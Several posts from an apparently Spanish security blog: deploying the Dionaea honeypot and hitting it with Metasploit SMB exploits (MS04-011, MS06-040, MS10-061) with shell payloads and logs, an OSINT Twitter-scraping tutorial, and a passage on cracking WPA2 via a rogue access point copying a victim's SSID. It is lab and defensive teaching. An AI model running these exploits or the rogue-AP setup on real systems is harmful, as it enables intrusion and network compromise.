Arrancando Dionaea y detectando posibles ataques

Una buena practica a la hora de arrancar Dionaea es utilizar un usuario del sistema con privilegios limitados, para ello se utilizan los interruptores “-u” y “-g”.

>./dionaea -L ‘*’ -u adastra -g users

 

Después de levantar Dionaea (en una máquina virtual preferiblemente), lo primero que se puede hacer es ejecutar un escaneo contra dicha máquina para ver qué puertos se encuentran abiertos.

>nmap -sT -n 192.168.1.98

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-15 23:46 CETNmap scan report for 192.168.1.98
Host is up (0.00012s latency).Not shown: 989 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

42/tcp open nameserver

80/tcp open http

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

1433/tcp open ms-sql-s

3306/tcp open mysql

5060/tcp open sip

5061/tcp open sip-tls

 

Como se puede apreciar, aparecen servicios como MSSql, SIP, MySQL y SMB, todos ellos servicios que ha levantado automáticamente Dionaea.

Ahora bien, se puede utilizar metasploit framework para probar el comportamiento de Dionaea cuando un atacante intenta enviar peticiones maliciosas contra alguno de los servicios que se encuentran activos.

SMB es un buen protocolo para probar, ya que existen varios exploits disponibles para atacar este tipo de servicios.

>msfconsolemsf>use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) >set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.168.1.98

RHOST => 192.168.1.98

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

 

Posteriormente, en el fichero de logs de Dionaea se podrán ver varios registros que indican el intento de ataque. Dicho fichero por defecto se encuentra ubicado en “/opt/dionaea/var/log/dionaea.log”.

[15032015 23:52:00] connection connection.c:1745-debug: connection_stats_accounting_limit_exceeded stats 0x2b8d720[15032015 23:52:01] pcap pcap.c:180-debug: 192.168.1.98:4444 -> 192.168.1.98:55386[15032015 23:52:01] pcap pcap.c:190-debug: reject local:’192.168.1.98:4444′ remote:’192.168.1.98:55386′[15032015 23:52:01] incident incident.c:365-debug: reporting 0x2c66a20[15032015 23:52:01] incident incident.c:354-debug: incident 0x2c66a20 dionaea.connection.tcp.reject[15032015 23:52:01] incident incident.c:167-debug: con: (ptr) 0x2c67c20[15032015 23:52:01] python module.c:778-debug: traceable_ihandler_cb incident 0x2c66a20 ctx 0x2a134d0[15032015 23:52:01] logsql dionaea/logsql.py:637-info: reject connection from 192.168.1.98:55386 to 192.168.1.98:4444 (id=1005)

[15032015 23:52:01] connection connection.c:667-debug: connection_free_cb con 0x2c67c20

[15032015 23:52:01] connection connection.c:676-debug: AF 0 0 con->local.domain

 

Además de los logs, también se almacenan los flujos de entrada y salida en el directorio “/opt/dionaea/var/dionaea/bistreams”. Se puede también probar otros exploits que intenten comprometer el servicio SMB como es el caso del conocidio exploit “LSASS”.

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf exploit(ms04_011_lsass) > exploit

[*] Started reverse handler on 192.168.1.98:4444

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Getting OS information…

[*] Trying to exploit Windows 5.1

 

Dionaea es capaz de detectar el ataque y registrarlo en el fichero de logs.

[16032015 00:16:41] connection connection.c:4349-debug: connection_unref con 0x2b8d320[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c001530 dionaea.shellcode.detected[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c001530 ctx 0x2a134d0[16032015 00:16:41] thread threads.c:52-debug: Thread fn 0x41d38d con 0x2b8d320 data 0x2c5a760 took 0.000018 ms[16032015 00:16:41] incident incident.c:212-debug: could not find key ‘con'[16032015 00:16:41] incident incident.c:365-debug: reporting 0x7fd24c0711d0[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c0711d0 dionaea.module.emu.profile[16032015 00:16:41] incident incident.c:167-debug: profile: (string) [

{

“call”: “LoadLibraryA”,

“args” : [

“ws2_32″

],

“return” : “0x71a10000″

}

]

[16032015 00:16:41] incident incident.c:167-debug: con: (ptr) 0x2b8d320

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a0cfc8

[16032015 00:16:41] emu dionaea/emu.py:45-debug: profiling

[16032015 00:16:41] emu dionaea/emu.py:53-info: profiledump [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]

[16032015 00:16:41] connection connection.c:1368-debug: connection_sustain_timeout_set 0x2b8d320 3.000000

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a134d0

[16032015 00:16:41] logsql dionaea/logsql.py:699-info: emu profile for attackid 1009

 

Puede ser muy complicado buscar y encontrar información útil sobre los incidentes reportados por el honeypot en los logs, por este motivo existe una base de datos SQLite que almacena todos los resultados relevantes. Para consultarla basta con ejecutar la utilidad “readlogsqltree”.

>python /opt/dionaea/bin/readlogsqltree /opt/dionaea/var/dionaea/logsql.sqlite

 

Los resultados que enseña la ejecución anterior son mucho más condensados y fáciles de leer, ya que identifica únicamente aquellos registros que Dionaea ha detectado como incidentes o intentos de ataque.

dcerpc request: uuid ‘3919286a-b10c-11d0-9ba8-00c04fd92ef5′ (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))profile: [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]2015-03-16 00:28:17connection 1010 SipSession udp connect 192.168.1.98:5060 -> /192.168.1.98:47685 (1010 None)Method:OPTIONSCall-ID:78617845@192.168.1.98User-Agent:LJtDLdXwaddr: <> ‘sip:nobody@192.168.1.98:None’

to: <> ‘sip:nobody@192.168.1.98:None’

contact: <> ‘sip:nobody@192.168.1.98:None’

from: <> ‘sip:LJtDLdXw@192.168.1.98:5060′

via:’UDP/192.168.1.98:5060′

 

Por otro lado, cuando un exploit transfiere algún tipo de fichero a la máquina atacada, el honeypot captura y almacena dicho fichero en el directorio que se ha definido en la sección de configuración “downloads”. Dichos ficheros pueden ser utilizados posteriormente para ser analizados con Cuckoo o con cualquier otra herramienta de análisis de malware.

msfcli exploit/windows/smb/ms10_061_spoolss PNAME=XPSPrinter RHOST=192.168.1.98 EXITFUNC=process LHOST=192.168.1.98 LPORT=4444 E
[*] Initializing modules…PNAME => XPSPrinter
RHOST => 192.168.1.98
EXITFUNC => process
LHOST => 192.168.1.98

LPORT => 4444

[*] Started reverse handler on 192.168.1.98:4444

[*] Trying target Windows Universal…

[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Attempting to exploit MS10-061 via \\192.168.1.98\XPSPrinter …

[*] Printer handle: 0000000000000000000000000000000000000000

[*] Job started: 0x3

[*] Wrote 73802 bytes to %SystemRoot%\system32\jv3zNgf80OaKcs.exe

[*] Job started: 0x3

[*] Wrote 2237 bytes to %SystemRoot%\system32\wbem\mof\tOpOFGImh6sT6j.mof

[-] Exploit failed: NoMethodError undefined method `unpack’ for nil:NilClass

 

En este caso concreto, al utilizar el exploit SMB Spoolss, se transfiere un fichero malicioso al servicio atacado y Dionaea lo almacena en el directorio “/opt/dionaea/var/dionaea/binaries”

 

>ls -l var/dionaea/binaries/
total 152
-rw——- 2 adastra adastra 73802 mar 16 00:45 c9a0a0ccbd330b43d5196cd69b80159d-rw——- 2 adastra adastra 73802 mar 16 00:45 spoolss-d1fgrg.tmp
>file var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d

var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d: PE32 executable (GUI) Intel 80386, for MS Windows


>file var/dionaea/binaries/spoolss-d1fgrg.tmp

var/dionaea/binaries/spoolss-d1fgrg.tmp: PE32 executable (GUI) Intel 80386, for MS Windows

El programa descargado es un ejecutable PE para sistemas Windows, capturado y almacenado por Dionaea.

Saludos y Happy Hack!
Adastra.

Recolección de información con OSINT Parte 1 – Búsquedas en Twitter

abril 9, 2015 1 comentario

Este es el primer articulo de una serie en la que se hablará sobre Open Source Intelligence (OSINT) y cómo escribir scripts en Python que permitan recolectar información de forma automatizada.
OSINT o Inteligencia de fuentes abiertas, representa un proceso estructurado y metódico que permite la búsqueda, selección y categorización de información de dominio público en Internet. Dicho proceso suele ser automatizado por medio de herramientas que consultan y extraen información de foros, redes sociales, sitios web y buscadores en Internet. La cantidad de información que existe actualmente en este tipo de espacios no solamente es enorme, sino que crece constantemente cada día, por este motivo, en los últimos años se han vuelto tan populares algunos servicios en línea para acceder a información pública y han salido varias herramientas para ejecutar procesos de extracción de datos.
En este primer articulo se hablará sobre Twitter y las herramientas que se encuentran a nuestra disposición para extraer información.
Twitter es una red social que según fuentes oficiales, tiene cerca de 240 millones de usuarios y afortunadamente para muchos, cuenta con una API Rest que permite controlar una cuenta y realizar búsquedas muy especificas utilizando varios tipos de filtros. Inicialmente muchas de las funciones definidas en la API se podían invocar directamente sin necesidad de tener una cuenta, pero a partir de la versión 1.1, es necesario contar con una aplicación en Twitter vinculada a una cuenta y una serie de valores que corresponden a los tokens de autenticación Oauth. Sobre esto ya os he hablado en un vídeo de la serie de “Hacking con Python”, concretamente en “Hacking con Python Parte 16 – Twitter desde Python utilizando el protocolo OAuth” http://thehackerway.com/2014/05/20/hacking-con-python-parte-16-twitter-desde-python-utilizando-el-protocolo-oauth/

La API de Twitter cuenta con una lista bastante amplia de funciones que pueden ser invocadas desde cualquier cliente, ya sea un programa desarrollado a medida o incluso un navegador web, ya que al ser una API Rest, utiliza el protocolo HTTP como protocolo de transferencia de datos.
La documentación sobre la API de Twitter se encuentra disponible en el siguiente enlace: https://dev.twitter.com/rest/public
Además de la API Rest, también existen algunas otras librerías como por ejemplo la Streaming API, Twitter Cards y Twitter for websites. Más detalles sobre estas y otras librerías en el siguiente enlace:
https://dev.twitter.com/overview/documentation

Consumiendo la API Rest de Twitter con Python
Los servicios REST pueden ser utilizados con peticiones HTTP estándar y en cualquier caso, si el servicio lo requiere, las peticiones deben contener cabeceras concretas que permitan realizar procesos de autenticación y autorización. Partiendo de esto, existen varias posibilidades para crear un script en Python que pueda consumir un servicio Rest, por ejemplo utilizando el módulo “urllib” incluido directamente en el lenguaje u otras librerías escritas por terceros como es el caso de “urllib3” o “requests”. Todas son alternativas validas, sin embargo, un desarrollador debe intentar no reinventar la rueda y verificar si existen soluciones para un problema e intentar aprovecharlas. En este caso concreto, existen varias librerías que permiten utilizar una cuenta existente en Twitter y consumir todos los servicios disponibles en la API Rest. Dos de las más populares son Tweepy (https://github.com/tweepy/tweepy) y Python-Twitter (https://github.com/bear/python-twitter). Ambas son librerías que cumplen bastante bien con su cometido, sin embargo en este articulo nos centraremos especialmente en el uso de Python-Twitter.
Antes de continuar, es necesario crear una aplicación en Twitter que se encuentre vinculada con una cuenta valida, para ello el lector deberá dirigirse al siguiente enlace: https://apps.twitter.com/. Después de crear su aplicación, debe tomar nota de los siguientes campos:
– Consumer API (API KEY)
– Consumer Secret (API Secret)
– Access Token
– Access Token Secret.
Los cuatro valores saldrán en la pantalla de gestión de aplicaciones de Twitter y en el caso concreto de los campos “Access Token” y “Access Token Secret” se crearán automáticamente pulsando sobre el botón “create my token access”.
Después de tener los valores de autenticación necesarios correspondientes a la aplicación creada anteriormente, el siguiente paso consiste en utilizar la librería para consumir algunos de los servicios REST disponibles en la API de Twitter. Para ello, el primer paso consiste en crear un objeto del tipo “Api”, tal como se enseña a continuación.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")

Los argumentos recibidos por el constructor de la clase Api deben coincidir con los valores de autenticación de la aplicación. El nombre de cada uno de los parámetros define claramente cual debe ser su valor.
Si los valores de autenticación son correctos, la instancia de la clase Api contendrá todos los métodos necesarios para consumir los servicios Rest de Twitter. Para conocer detalladamente dichos métodos, se recomienda echarle un vistazo a la clase: https://github.com/bear/python-twitter/blob/master/twitter/api.py
A partir de aquí, se pueden crear scripts que permitan extraer información de interes, como por ejemplo, sacar un listado de personas que siguen y no siguen a la cuenta vinculada a la aplicación.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

Por medio de los métodos “GetFriends” y “GetFollowers”, se ha podido extraer un listado del nombre de las cuentas a las que siguen a la cuenta vinculada a la aplicación y las que no.
El siguiente paso puede ser extraer un listado de aquellas cuentas que el usuario en cuestión sigue y que no le siguen a él, así como también aquellas cuentas que el usuario no sigue pero si que le siguen a él.

import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

notFriendButFollowingMe = [account for account in accountFollowers if account not in accountFriends]
friendButNotFollowingMe = [ account for account in accountFriends if account not in accountFollowers] 

Este tipo de consultas son muy similares a las que aplican servicios como el de http://justunfollow.com/ sin necesidad de darle privilegios a un servicio externo sobre tu cuenta de Twitter.
Este tipo de operaciones son básicas para la gestión de una cuenta en Twitter, pero no se queda ahí, existen varios métodos que permiten acceder a servicios de la API de Twitter para realizar búsquedas en la base de datos de Twitter.
EL siguiente ejemplo, se encarga de extraer los 15 primeros tweets que coincidan con el hashtag “#python”.

import twitter 

apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python")
for result in query:
    print "Tweet: %s " %(result.text)
    print "Creation date: %s " %(result.created_at)
    print "Favs count: %d" %(result.favorite_count)
    print "Language: %s" %(result.lang)
    print "Retweets count: %d" %(result.retweet_count)
    print "Account: %s" %( result.user.screen_name )
    print "\n"

Tras ejecutar el script anterior, los resultados que se imprimen por pantalla se ven claramente en la siguiente imagen.

twitter1

Se puede ver el mensaje, la fecha de creación, número de favoritos, lenguaje, número de retweets y la cuenta del propietario del tweet.
Como mencionaba anteriormente, el valor por defecto de la búsqueda son 15 tweets, tal como se puede apreciar en la documentación relacionada con el servicio “SEARCH” en el siguiente enlace: https://dev.twitter.com/rest/reference/get/search/tweets Sin embargo dicho valor puede modificarse desde la función “GetSearch” del objeto “API”. La siguiente es la estructura del método en cuestión y como puede verse, permite cambiar el valor por defecto de todos los parámetros que admite el servicio REST.

  def GetSearch(self,
                term=None,
                geocode=None,
                since_id=None,
                max_id=None,
                until=None,
                count=15,
                lang=None,
                locale=None,
                result_type="mixed",
                include_entities=None):'

Ahora bien, lo más común en un proceso de OSINT es almacenar dicha información de forma persistente, como una base de datos. En este caso y para mantener la simplicidad del ejemplo, se utilizará una base de datos SQLite, la cual únicamente contendrá una tabla con los tweets. También es necesario aclarar, que en procesos recolección con un volumen de datos alto, lo mejor es utilizar un motor de bases datos relacional (RDBMS) como PostgreSQL, MySQL, Oracle, DB2, etc. Sin embargo, otra solución que últimamente se está imponiendo el uso de soluciones BigData, como es el caso de la implementación Hadoop de Apache. Esto será algo que se tratará en mayor detalle en un próximo articulo.

import twitter
import sqlite3
connection = sqlite3.connect('db.sqlite3')
cursor = connection.cursor()
connection.execute("create table if not exists  TwitterMessages(id integer primary key autoincrement, message varchar(140), account varchar(20),favs integer,retweets integer,langTweet varchar(5), dateMessages varchar (30) );")
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python", count=200)
insert = "insert into TwitterMessages(message, dateMessages, favs, langTweet, retweets, account) values(?,?,?,?,?,?)"
for result in query:
    cursor.execute(insert, (result.text, result.created_at, result.favorite_count, result.lang, result.retweet_count, result.user.screen_name))
connection.commit()

Utilizando la API de Python-Twitter se ha podido recuperar un listado de 200 tweets con el hashtag “#python” y se han almacenado en una base de datos SQLite. Se trata de un ejemplo simple, pero que demuestra la simplicidad con la que se pueden extraer datos de sitios públicos como Twitter.

Un saludo y Happy Hack!
Adastra.

HoneyPots Parte 2 – Introducción a Dionaea

marzo 26, 2015 Deja un comentario

Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.

Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.

El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.

Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:

Conectividad y protocolos soportados por Dionaea

Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.

Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.

 

Intentos de explotación y detección del malware

Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.

Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.

 

Registro y sistema de incidentes

Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.

Instalación de Dionaea

Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.

Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:

git clone git://git.carnivore.it/dionaea.git
			dionaea-git

 

Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.

 

/usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line

/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation

 

En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”

 

../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0

 

Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.

Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.

Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.

> ./dionaea -l all,-debug

 

Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.

>./dionaea -H

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

Dionaea Version 0.1.0

Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2

Started on Galilei running Linux/x86_64 release 3.13.0-46-generic

-c, –config=FILE use FILE as configuration file

Default value/behaviour: /opt/dionaea/etc/dionaea.conf

-D, –daemonize run as daemon

-g, –group=GROUP switch to GROUP after startup (use with -u)

Default value/behaviour: keep current group

-h, –help display help

-H, –large-help display help with default values

-l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix

-L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using –

-u, –user=USER switch to USER after startup

Default value/behaviour: keep current user

-p, –pid-file=FILE write pid to file

-r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite

Default value/behaviour: don’t chroot

-V, –version show version

Default value/behaviour:

-w, –workingdir=DIR set the process’ working dir to DIR

Default value/behaviour: /opt/dionaea

examples:

# dionaea -l all,-debug -L ‘*’

# dionaea -l all,-debug -L ‘con*,py*’

# dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid

En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.

Saludos y Happy Hack!
Adastra.

Crackeando WPA2 con un Half-Handshake

marzo 10, 2015 Deja un comentario

Las redes wifi con WPA/WPA2 activado suelen ser suficientemente seguras y dadas sus características, a la fecha de redactar este articulo, la única forma de atacar directamente una red con este mecanismo de protección es intentando capturar un 4way-handshake entre el cliente y un AP. Un 4way-handshake en la terminología de WPA se refiere a los paquetes de datos intercambiados entre AP y cliente a la hora de realizar el proceso de autenticación mutuo. No obstante, aunque un handshake completo es lo deseado para poder iniciar un ataque por diccionario, también es posible hacerlo con un handshake “a medias”, es decir, cuando el cliente inicia el proceso de autenticación con un AP y dicho proceso ha fallado. Ahora bien, seguramente el lector ya lo sabe, pero cuando un dispositivo tiene registrado un AP con el que suele conectarse con frecuencia (como por ejemplo una red wifi domestica), dicho dispositivo envía de forma constante paquetes del tipo “PROBE_REQUEST” con la esperanza de que el AP se encuentre en en la zona de alcance. Cuando un AP con el SSID especificado responde con un “PROBE_RESPONSE”, el proceso de autenticación en ambos sentidos comienza inmediatamente, dando lugar a una serie de peticiones que identifican tanto al cliente como al AP y determinan si ambos son quienes dicen ser. Se trata de un procedimiento robusto en el que la relación de confianza en ambos sentidos es vital para que la conexión se pueda realizar correctamente. No obstante, es posible que solamente una de las dos partes se pueda identificar con la otra de forma correcta, en este caso hablamos de un handshake a medias, ya que solamente una de las dos entidades ha podido reconocer a la otra. Con un handshake a medias también es posible realizar el mismo ataque por diccionario que con un handshake completo y por este motivo, también es un vector de ataque valido en este tipo de entornos.
Ahora, ¿Cuándo y cómo se debe llevar a cabo este tipo de ataque? Cuando se capturan los paquetes “PROBE_REQUEST” de un cliente, dichos mensajes contienen el SSID del AP que el cliente busca y en este punto, un atacante puede levantar un AP falso con dicho SSID para responder a las peticiones enviadas por el cliente. Para responder al “cómo” de la pregunta anterior, pueden haber varios mecanismos validos, como por ejemplo utilizando la herramienta “ap-hotspot”. Por simplicidad y porque es una solución rápida de implementar, se puede utilizar la herramienta “KDE NetworkManager” o el “NetworkManager de Gnome”, a efectos prácticos utilizar cualquiera de los dos resulta equivalente.

Configurando un AP inalámbrico con el NetworkManager

En sistemas Debian el paquete que incluye el KDE NetworkManager es el “network-manager-kde” y en sistemas Ubuntu el “plasma-nm”. Como es acostumbrado en este tipo de sistemas, se puede instalar muy fácilmente utilizando herramientas como “apt-get”. Por otro lado, en sistemas Debian y Ubuntu con GNOME, el NetworkManager viene incluido por defecto y se puede ver en el panel lateral en donde se encuentran otras herramientas del escritorio. En ambos casos, crear un AP es bastante simple, las imágenes que se enseñan a continuación muestran cómo crear un AP con un SSID y una contraseña. (Antes de crear la conexión, asegurarse de que la red wifi se encuentra desactivada).

 

wifi1

Creando conexión inalámbrica con NetworkManager de Gnome

wifi2

Estableciendo los detalles básicos de conexión

wifi3

Estableciendo credenciales de acceso a la conexión.

Después de crear la conexión, aun es necesario cambiar el modo de la conexión, de esta forma actuará como AP. Para ello, es necesario editar el siguiente fichero de configuración.

sudo gedit /etc/NetworkManager/system-connections/ONO-FAKE

Donde “ONO-FAKE” es el nombre que se le ha dado a la conexión. Al abrir dicho fichero de configuración, es necesario cambiar la línea “mode=infrastructure” por “mode=ap”. El contenido del fichero será similar al siguiente:

[connection]

id=ONO-FAKE

uuid=c3704266-e143-4705-a3c0-9511fc2d37eb

type=802-11-wireless

[802-11-wireless]

ssid=ONO12B5

mode=infrastructure

mac-address=9C:D2:1E:43:76:E9

security=802-11-wireless-security

[802-11-wireless-security]

key-mgmt=wpa-psk

psk=testingwpa2ap

[ipv4]

method=auto

[ipv6]

method=auto

Con todo lo anterior, ahora se puede activar la red wifi y el dispositivo actuará como un AP con el SSID indicado.

